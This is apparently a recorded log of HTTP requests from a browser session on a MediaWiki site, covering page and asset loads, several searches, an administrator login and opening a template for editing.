{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?title=Main_Page&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.makeCollapsible.styles%7Cmediawiki.action.history.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.feedlink%2Chelplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.special.changeslist%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Main_Page&action=history", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.history%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.DateInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1mqik", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Main_Page&action=history", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wiki/Special:RecentChanges", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.feedlink%2Chelplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.rcfilters.filters.base.styles%7Cmediawiki.special.changeslist%7Cmediawiki.special.changeslist.enhanced%2Clegend%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:RecentChanges", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2CmakeCollapsible%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.rcfilters.filters.ui%7Cmediawiki.special.changeslist.legend.js%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-editing-styling%2Cicons-interactions%2Cicons-layout%2Cicons-media%2Cicons-moderation%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6mcou", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:RecentChanges", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Random", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.typeaheadSearch%7Cmediawiki.skinning.typeaheadSearch%7Cskins.vector.search%7Cvue&skin=vector-2022&version=1f1tf", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.special.search.styles%7Cmediawiki.widgets.SearchInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ChighlightText%2Csuggestions%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2CsearchSuggest%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.search%7Cmediawiki.widgets.SearchInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-interactions%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=j0mv5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=Lighthouse&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=python3&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=python3&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=powershell&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=powershell&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=ls+-la&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=ls+-la&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=ls+-la&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=.htaccess&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=.htaccess&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:UserLogin&returnto=Main+Page", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1iuh6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:UserLogin&returnto=Main+Page", "headers": ["Host: example.com", "Content-Length: 192", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": "title=Special%3AUserLogin&wpName=Admin&wpPassword=Example-pass-2026&wploginattempt=Log+in&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=88e959f6bfc57bbe13b3ae15000362c26af22671%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.chosen%2Cclient%2Cconfirmable%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-curate%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=4w1ib", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/index.php?title=Template:Infobox&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
